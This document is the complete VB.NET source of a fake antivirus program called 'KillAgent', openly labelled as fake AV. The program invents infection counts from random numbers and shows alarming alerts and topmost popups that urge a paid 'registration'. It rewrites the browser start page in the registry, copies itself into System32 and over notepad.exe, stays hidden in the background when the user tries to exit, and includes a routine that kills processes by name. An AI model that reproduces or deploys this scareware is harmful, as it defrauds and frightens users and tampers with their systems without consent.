KILLAGENT - Fake AV Source code

Imports System.IO
Imports System.IO.Directory
Public Class Form1
    Public infectedfiles As Integer
    Public suspiciousfiles As Integer
    Public scannedfiles As Integer
    Dim therandom1 As New Random
    Public doingscan As Boolean
    Dim filename As String
    Dim filepath As Object
    Dim registrykey As Object
    Dim FileToCopy As String
    Dim NewCopy As String
    Dim NewCopy2 As String

    Private Sub Label3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label3.Click

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Button1.Enabled = False
        Button2.Enabled = True
        Me.MaximumSize = New Size(492, 372)
        Me.MinimumSize = New Size(492, 372)
        Me.Size = New Size(492, 372)
        Timer2.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        If MsgBox("Are you sure you want to stop scanning? We found " & infectedfiles & " infected files from your computer.", MsgBoxStyle.Question + MsgBoxStyle.YesNo, "We found " & infectedfiles & " Infected files from your computer.") = MsgBoxResult.Yes Then
            Button2.Enabled = False
            Button1.Enabled = True
            Me.MaximumSize = New Size(492, 220)
            Me.MinimumSize = New Size(492, 220)
            Me.Size = New Size(492, 220)
            Label9.Text = "0"
            Label6.Text = "0"
            Label5.Text = "0"
            Label5.ForeColor = Color.Black
            Label6.ForeColor = Color.Black
            Label9.ForeColor = Color.Black
            Label11.Text = "Preparing to Scan..."
            Timer1.Stop()
            Timer2.Stop()
            Timer3.Stop()
            Timer5.Stop()
            Timer4.Stop()
            Timer6.Stop()
            Timer7.Stop()
            Timer8.Stop()
            Timer9.Stop()
            ProgressBar2.Value = 0
            infectedfiles = 0
            suspiciousfiles = 0
            scannedfiles = 0
            doingscan = False
        Else
            'do nothing
        End If
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Timer1.Interval = therandom1.Next(1500, 2500)
        infectedfiles = infectedfiles + therandom1.Next(0, 4)
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Timer2.Stop()
        Label11.Text = "Scanning..."
        Label5.ForeColor = Color.DarkRed
        doingscan = True
        Timer1.Start()
        Timer3.Start()
        Timer5.Start()
        Timer4.Start()
        Timer6.Start()
        Timer7.Start()
        Timer8.Start()
        Timer9.Start()
    End Sub

    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        scannedfiles = scannedfiles + therandom1.Next(0, 56)
    End Sub

    Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
        Label5.Text = infectedfiles
    End Sub

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        If doingscan = True Then
            If MsgBox("Are you sure you want to stop scanning? We found " & infectedfiles & " infected files from your computer.", MsgBoxStyle.YesNo, "We found " & infectedfiles & " Infected files from your computer.") = MsgBoxResult.Yes Then
                If MsgBox("Are you sure you want to exit from KillAgent?", MsgBoxStyle.YesNo, "Are you sure you want to exit?") = MsgBoxResult.Yes Then
                    e.Cancel = True
                    Me.Opacity = 0%
                    ShowInTaskbar = False
                Else
                    e.Cancel = True
                End If
            Else
                e.Cancel = True
            End If
        Else
            If MsgBox("Are you sure you want to exit from KillAgent?", MsgBoxStyle.YesNo, "Are you sure you want to exit?") = MsgBoxResult.Yes Then
                e.Cancel = True
                Me.Opacity = 0%
                ShowInTaskbar = False
            Else
                e.Cancel = True
            End If
        End If
    End Sub
    Sub quick()
        Dim objWS As Object
        Dim objWSEnv As Object

        On Error GoTo EXIT_SUB
        objWS = CreateObject("WScript.Shell")
        objWSEnv = objWS.Environment("SYSTEM")
        objWS.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.killagent.com/98274/html/library/trial/register/x95281k/killagentdocumentsx95/x98/x2000/xMe/xXP/xVista/x7/registrationhtml/9.htm")

EXIT_SUB:

    End Sub
    Sub regadd()
        'Dim objWS As Object
        'Dim objWSEnv As Object

        'On Error GoTo EXIT_SUB
        'objWS = CreateObject("WScript.Shell")
        'objWSEnv = objWS.Environment("SYSTEM")
        'objWS.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 3.6.16\bin\PathToExe", "C:\WINDOWS\System32\WinSystem\Windows.exe")

        'EXIT_SUB:

    End Sub
    Sub copyfile()
        FileToCopy = "C:\Program Files\KillAgent\KillAgent.exe"
        NewCopy = "C:\WINDOWS\notepad.exe"

        If System.IO.File.Exists(FileToCopy) = True Then
            Try
                System.IO.File.Copy(FileToCopy, NewCopy)
            Catch ex As Exception
                'do nothing
            End Try
        Else
            'do nothing
        End If
    End Sub
    Sub firewall()
        Dim file As String

        file = "C:\Program Files\KillAgent\KA-SF.exe"

        If My.Computer.FileSystem.FileExists(file) Then
            Shell(file)
        Else
            'do nothing
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        livehelp.Show()
        firewall()

        FileToCopy = "C:\Program Files\KillAgent\KillAgent.exe"
        NewCopy = "C:\WINDOWS\System32\WinSystem\Windows.exe"

        If System.IO.File.Exists(FileToCopy) = True Then
            On Error GoTo win7winvista
            My.Computer.FileSystem.CreateDirectory("C:\WINDOWS\System32\WinSystem")
win7winvista:
            My.Computer.FileSystem.CreateDirectory("C:\Windows\System32\WinSystem")

            On Error GoTo win7winvist
            System.IO.File.Copy(FileToCopy, NewCopy)
win7winvist:
            NewCopy2 = "C:\Windows\System32\WinSystem\Windows.exe"

            System.IO.File.Copy(FileToCopy, NewCopy2)
        Else
            'do nothing
        End If

        doingscan = False
        'regadd()
        quick()
        NotifyIcon1.BalloonTipIcon = ToolTipIcon.Warning
        NotifyIcon1.BalloonTipTitle = "KillAgent Security Alert!"
        NotifyIcon1.BalloonTipText = "KillAgent ProActive HijackDetecter is not on and KillAgent is unregistered! Register KillAgent now to enable ProActive HijackDetector and much more features!"
        NotifyIcon1.ShowBalloonTip(10000)
    End Sub

    Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick

    End Sub

    Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
        Label9.Text = scannedfiles
    End Sub

    Private Sub Timer7_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer7.Tick
        ProgressBar2.Increment(therandom1.Next(1, 2))

        If ProgressBar2.Value = 100 Then
            Timer1.Stop()
            Timer3.Stop()
            Timer5.Stop()
            Timer4.Stop()
            Timer6.Stop()
            Timer7.Stop()
            Timer8.Stop()
            Timer9.Stop()
            ProgressBar2.Value = 0
            Button2.Enabled = False
            doingscan = False
            Label11.Text = "Scanned. Click ''See Information''"
            MsgBox("Scan completed! We scanned " & scannedfiles & " files and we found " & infectedfiles & " Infected files.", MsgBoxStyle.Information, "KillAgent - HijackerScan completed.")
            Me.MaximumSize = New Size(492, 405)
            Me.MinimumSize = New Size(492, 405)
            Me.Size = New Size(492, 405)
            NotifyIcon1.BalloonTipIcon = ToolTipIcon.Warning
            NotifyIcon1.BalloonTipTitle = "KillAgent Security Alert!"
            NotifyIcon1.BalloonTipText = "KillAgent HijackScan scanned " & scannedfiles & " files and found " & infectedfiles & " Infections! Register KillAgent now to remove infections!"
            NotifyIcon1.ShowBalloonTip(10000)
        End If
    End Sub

    Private Sub Timer8_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer8.Tick
        Timer8.Interval = therandom1.Next(4500, 5500)
        suspiciousfiles = suspiciousfiles + therandom1.Next(1, 2)
        Label6.ForeColor = Color.DarkOrange
    End Sub

    Private Sub Timer9_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer9.Tick
        Label6.Text = suspiciousfiles
    End Sub

    Private Sub PictureBox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox4.Click
        MsgBox("KillAgent is Hijack-deleter tool. KillAgent is normally 56,99$, but now we let you to test out our trial version! Using KillAgent is simple: Just click ''Start Scanning'', stop (if you want) scanning by clicking ''Stop Scanning''. When scan is completed, just click ''See Information'' to delete threats!", MsgBoxStyle.Information, "KillAgent help")
    End Sub
    Public Sub KillProcess(ByVal processName As String)

        On Error GoTo ErrHandler

        Dim oWMI
        Dim ret
        Dim sService
        Dim oWMIServices
        Dim oWMIService
        Dim oServices
        Dim oService
        Dim servicename

        oWMI = GetObject("winmgmts:")
        oServices = oWMI.InstancesOf("win32_process")

        For Each oService In oServices

            servicename = LCase(Trim(CStr(oService.Name) & ""))

            If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
                ret = oService.Terminate
            End If

        Next

        oServices = Nothing
        oWMI = Nothing

ErrHandler:
        Err.Clear()
    End Sub

    Private Sub Timer10_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer10.Tick
        'KillProcess("iexplore.exe")
    End Sub

    Private Sub Timer11_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer11.Tick
        NotifyIcon1.BalloonTipIcon = ToolTipIcon.Warning
        NotifyIcon1.BalloonTipTitle = "KillAgent Security Alert!"
        NotifyIcon1.BalloonTipText = "KillAgent ProActive HijackDetecter is not on and KillAgent is unregistered! Register KillAgent now to enable ProActive HijackDetector and much more features!"
        NotifyIcon1.ShowBalloonTip(10000)
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Me.Hide()
        information.Show()
        information.Timer1.Start()
    End Sub

    Private Sub PictureBox3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox3.Click
        Me.Hide()
        information.Hide()
        license.Show()
    End Sub

    Private Sub NotifyIcon1_BalloonTipClicked(ByVal sender As Object, ByVal e As System.EventArgs) Handles NotifyIcon1.BalloonTipClicked
        Me.Opacity = 100%
        Me.ShowInTaskbar = True
    End Sub

    Private Sub NotifyIcon1_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick
        Me.Opacity = 100%
        Me.ShowInTaskbar = True
    End Sub

    Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick

    End Sub

    Private Sub Timer12_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer12.Tick
    End Sub

    Private Sub Timer13_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer13.Tick
        Try
            My.Computer.FileSystem.DeleteFile("C:\WINDOWS\KillAgent.exe")
        Catch ex As Exception
            'do nothing
        End Try
        Try
            My.Computer.FileSystem.RenameFile("C:\WINDOWS\notepad.exe", "KillAgent.exe")
        Catch ex As Exception
            'do nothing
        End Try

        copyfile()
    End Sub
    Dim therandom As New Random
    Private Sub Timer14_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer14.Tick
        Timer14.Interval = therandom1.Next(5000, 45660)

        Alert.Show()
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        MsgBox("In this Trial Package, you don't have KillAgent Antivirus. Please register this to download KillAgent Antivirus for free!", MsgBoxStyle.Critical, "KillAgent Antivirus")
    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        MsgBox("KillAgent HiJackKiller works properly in following Windows versions: XP, Vista and 7. There is no version for mac or linux. You cannot run this software in Windows 95 to Windows Me.", MsgBoxStyle.Information, "Properly working against Hijackers")
    End Sub

    Public Sub killagent()
        MsgBox("KillAgent Trial HijackKiller Settings cannot be modified. Please register KillAgent HijackKiller to enable modification!", MsgBoxStyle.Exclamation, "Settings")
    End Sub

    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        killagent()
    End Sub
End Class

Public Class Alert

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Me.Hide()
        license.Show()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Show()
        Me.TopMost = True

    End Sub
End Class

Public Class livehelp

    Private Sub livehelp_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub
    Public Sub livehelpoffline()
        MsgBox("KillAgent Live Help is currently offline. Please try again within 24 hours.", MsgBoxStyle.Information, "Live Help Status: Offline")
        Me.Hide()
    End Sub
    Private Sub livehelp_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseClick
        livehelpoffline()
    End Sub
End Class

Public Class license

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        MsgBox("Your Registration key or E-Mail address is wrong. Please try again.", , "KillAgent Registration")
    End Sub

    Private Sub PictureBox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox4.Click
        MsgBox("KillAgent is Hijack-deleter tool. KillAgent is normally 56,99$, but now we let you to test out our trial version! Using KillAgent is simple: Just click ''Start Scanning'', stop (if you want) scanning by clicking ''Stop Scanning''. When scan is completed, just click ''See Information'' to delete threats!", MsgBoxStyle.Information, "KillAgent help")
    End Sub

    Private Sub license_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        Me.Hide()
        Form1.Show()
    End Sub

    Private Sub license_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        MsgBox("Opening Web Page...")
        MsgBox("Unable to connect internet. Please make sure that your computer is connected to internet or your firewall don't stop this program", MsgBoxStyle.Critical, "")
    End Sub
End Class

Public Class information

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Label4.Text = Form1.infectedfiles
    End Sub

    Private Sub information_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub PictureBox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox4.Click
        MsgBox("KillAgent is Hijack-deleter tool. KillAgent is normally 56,99$, but now we let you to test out our trial version! Using KillAgent is simple: Just click ''Start Scanning'', stop (if you want) scanning by clicking ''Stop Scanning''. When scan is completed, just click ''See Information'' to delete threats!", MsgBoxStyle.Information, "KillAgent help")
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
        Me.Hide()
        Form1.Show()
        Form1.Button2.Enabled = False
        Form1.Button1.Enabled = True
        Form1.MinimumSize = New Size(492, 220)
        Form1.Size = New Size(492, 220)
        Form1.Label9.Text = "0"
        Form1.Label6.Text = "0"
        Form1.Label5.Text = "0"
        Form1.Label5.ForeColor = Color.Black
        Form1.Label6.ForeColor = Color.Black
        Form1.Label9.ForeColor = Color.Black
        Form1.Label11.Text = "Preparing to Scan..."
        Form1.Timer1.Stop()
        Form1.Timer2.Stop()
        Form1.Timer3.Stop()
        Form1.Timer5.Stop()
        Form1.Timer4.Stop()
        Form1.Timer6.Stop()
        Form1.Timer7.Stop()
        Form1.Timer8.Stop()
        Form1.Timer9.Stop()
        Form1.ProgressBar2.Value = 0
        Form1.infectedfiles = 0
        Form1.suspiciousfiles = 0
        Form1.scannedfiles = 0
        Form1.doingscan = False
    End Sub

    Private Sub PictureBox3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox3.Click
        Me.Hide()
        Form1.Hide()
        license.Show()
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        MsgBox("Your KillAgent version is BETA or Trial or KillAgent is Unregistered. Please register this program.", MsgBoxStyle.Exclamation, "KillAgent HijackDeleter")
        license.Show()
    End Sub
End Class